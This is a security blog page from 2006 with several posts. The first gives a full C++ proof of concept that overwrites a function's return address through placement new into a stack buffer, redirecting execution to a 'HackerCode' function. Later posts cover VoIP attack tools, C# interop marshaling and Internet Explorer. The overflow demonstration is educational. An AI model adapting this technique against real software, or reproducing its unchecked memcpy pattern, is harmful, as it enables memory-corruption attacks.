Dan Griffin's Blog
Comments on security, PKI, smart cards, cryptography, and entrepreneurship.
Learn Something ‘New’ Every Day
May 11, 2006
I recently learned that the C++ operator new, which typically takes a
single argument and returns a pointer to heap memory, also has a
two-argument version which supports allocation (and object initialization)
from an arbitrary buffer. The two-arg version is called "placement new."
The obligatory web search turned up this link, which misleadingly suggests
that only heap buffers should be used with placement new, in order to
avoid potential alignment problems. However, alignment issues are easily
mitigated, and the proposed overall limitation on usage is unrealistic.
Indeed, I see two general scenarios where placement new might be useful:
- Instantiating an object into an existing stack buffer, perhaps for
serialization or making a subsequent copy, thereby avoiding the overhead
of an additional call into the heap. - Similar to the above, except for the purpose of recycling a private
pool of cached buffers.
That got me thinking about the potential risks, from an overflow
perspective, in using placement new with stack buffers. So, I decided to
write the canonical "Smash the Return Address Via Placement New" stack
buffer overflow proof of concept.
/*
Demonstration of a stack buffer overflow via dangerous use of placement new.
Requires that the optimizer is turned off, otherwise it may detect that the
test functions don’t do very much and eliminate them.
C++ exceptions must be disabled, otherwise the handler information on the stack
will make the current hard-coded offset computation incorrect.
Note that /GS is enabled.
*/
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <new> // From C++ std library
#define cSTACK_BUFFER_ELEMENTS 4
class CMyBuffer
{
public:
CMyBuffer() { ; }
void AppendData(DWORD dwOffset, PBYTE pb, DWORD cb) {
memcpy(m_rgb + dwOffset, pb, cb);
}
protected:
BYTE m_rgb [4];
};
DWORD
WINAPI
HackerCode(void)
{
printf("0wn3d\n");
return ERROR_SUCCESS;
}
DWORD
WINAPI
TestFunction(
DWORD dwOffset,
PBYTE pbData,
DWORD cbData)
{
PDWORD rgPlacementNewBuffer [cSTACK_BUFFER_ELEMENTS] = {0};
CMyBuffer *pTest = (CMyBuffer *) new (rgPlacementNewBuffer) CMyBuffer();
printf("Inside TestFunction\n");
pTest->AppendData(dwOffset, pbData, cbData);
return ERROR_SUCCESS;
}
int _tmain(int argc, _TCHAR* argv[])
{
// Offset is the size of the target stack buffer, plus one to account for
// the caller’s saved stack base pointer.
DWORD dwOffset = sizeof(PDWORD) * (cSTACK_BUFFER_ELEMENTS + 1);
FARPROC proc = (FARPROC) HackerCode;
printf("Calling TestFunction\n");
TestFunction(dwOffset, (PBYTE) &proc, sizeof(proc));
return 0;
}
Interesting hacks on VoIP
May 3, 2006
Not surprisingly, hackers and penetration testers have been hard at work making convenient tools for launching attacks against common VoIP configurations. Disappointingly, the VoIP services supplied by many of the big vendors appear to be unsecure by default. The best part of the article is the reported claim by one such vendor that, "We are more secure than a regular phone line." I’m not even sure what they meant by that, but it made me laugh.
Which brings me to this cool-looking tool from Phil Zimmerman, which appears to attempt, by intercepting VoIP packets on the host, to negotiate agreed keys and encrypt traffic on the fly. Of course there’s the usual bootstrapping problem for the paranoid: if you haven’t exchanged some information (like a PGP key hash, I suppose) with the other party in advance, then you still can’t know if there’s a man-in-the-middle. And exchanging that information in advance in a truly secure way can be inconvenient at best. I’ve read that in the early days of PGP, people did face-to-face key-hash exchanges at crypto conferences! Good times.
Permalink | Comments (0)I wasn’t able to find documentation describing how to handle this exact scenario, so, for posterity, I’ll share what I learned. The problem: a native code dll export routine takes a pointer to a structure as its sole input. Suppose that the structure has only two fields. The first field is a string buffer allocated by the caller into which the callee will copy data. The second field is the size of the buffer, as allocated by the caller. We want to call this code from C#.
/* Native code */
typedef struct _PARAM
{
__inout LPWSTR wszOutput;
__in DWORD cchMaxOutput;
} PARAM, *PPARAM;
__declspec(dllexport)
long
WINAPI
ExportFunctionA(__inout PPARAM pParam);
The challenge: declare the managed version of the parameter and function in such a way that they will be correctly marshaled. Here’s the equivalent of what I did (note that I’m pasting and modifying snippets of code without confirming that they still build).
/* Managed code */
[StructLayout(LayoutKind.Sequential)]
class TestDllParam
{
[MarshalAs(UnmanagedType.LPWStr, SizeParamIndex=1)] public String output;
public UInt32 outputMaxLength;
}
class TestDll
{
[DllImport("testdll.dll", CharSet=CharSet.Unicode)]
public static extern Int32 ExportFunctionA(
[MarshalAs(UnmanagedType.LPStruct)] [In, Out] TestDllParam testDllParam);
}
static void Main(string[] args)
{
Int32 result = 0;
TestDll testDll = new TestDll();
TestDllParam testDllParam = new TestDllParam();
testDllParam.output = new String(’\0′, (int)bufferSize);
testDllParam.outputMaxLength = (UInt32)testDllParam.output.Length;
result = TestDll.ExportFunctionA(testDllParam);
…
}
That seems to work, at least in the context of the project from which I adapted it. As a bonus, here are some things that didn’t work.
- Omitting the [MarshalAs] attribute from class TestDllParam. When I did that, I only got one output character copied into my buffer, since the marshaler doesn’t know how long the native LPWSTR in the C-struct is without a length hint.
- Omitting the CharSet= attribute from the managed declaration of ExportFunctionA. When I did that, my native code overflowed the buffer provided by the marshaler, which caused an interesting runtime exception. I didn’t actually check how long the native input buffer was in the broken version, but the fix seemed to confirm the educated guess that I was being provided with a buffer large enough to fit outputMaxLength Ansi characters, rather than that many Unicode characters.
- Omitting the [In, Out] attribute from the managed declaration of ExportFunctionA’s testDllParam arg. When I did that, changes made by the callee to the input structure would not be reflected after the function returned. Incidentally, I confirmed that via a simpler example: add a UInt32 to the structure and have the callee modify it. Again, changes made by the callee are not seen by the caller.
- Adding a ref modifier to managed ExportFunctionA’s testDllParam arg. I’m not yet sure why this happens, but I get a runtime exception. Based on what I’m seeing in memory, my guess is that the parameter structure, or at least some subset of it, can only be marshaled correctly by value, rather than by reference, given its current declaration.
Internet Explorer - Microsoft’s biggest mistake?
May 1, 2006
I had only spent about 20 seconds catching up on news this morning when I stumbled onto this one. I have to admit - the proposition made me stop think for a second. Was the creation of Internet Explorer Microsoft’s biggest mistake ever?
No way.
Another way to look at the question is this - would Microsoft be worse off if they’d never developed an in-house browser technology? Probably. And the historic turn-on-a-dime company-wide shift in direction that occurred when Bill Gates finally realized he’d missed the internet train? I don’t see how that could have proceeded without a browser development effort, at least symbolically. And engineering teams across the company will continue to benefit from the experience (good and bad) of that effort for years to come.
Plus, the highest profile Windows platform security bugs have come from LSA/RPC, SQL, and IIS. Compared to those whoppers, IE’s security flaws look minor.
That doesn’t disprove the proposition, of course; it’s just another way to look at it. Still, the question strikes me as a fallacy. Sort of like saying, "Did General Motor’s make its biggest mistake in offering its workforce health insurance and a pension?"
Permalink | Comments (0)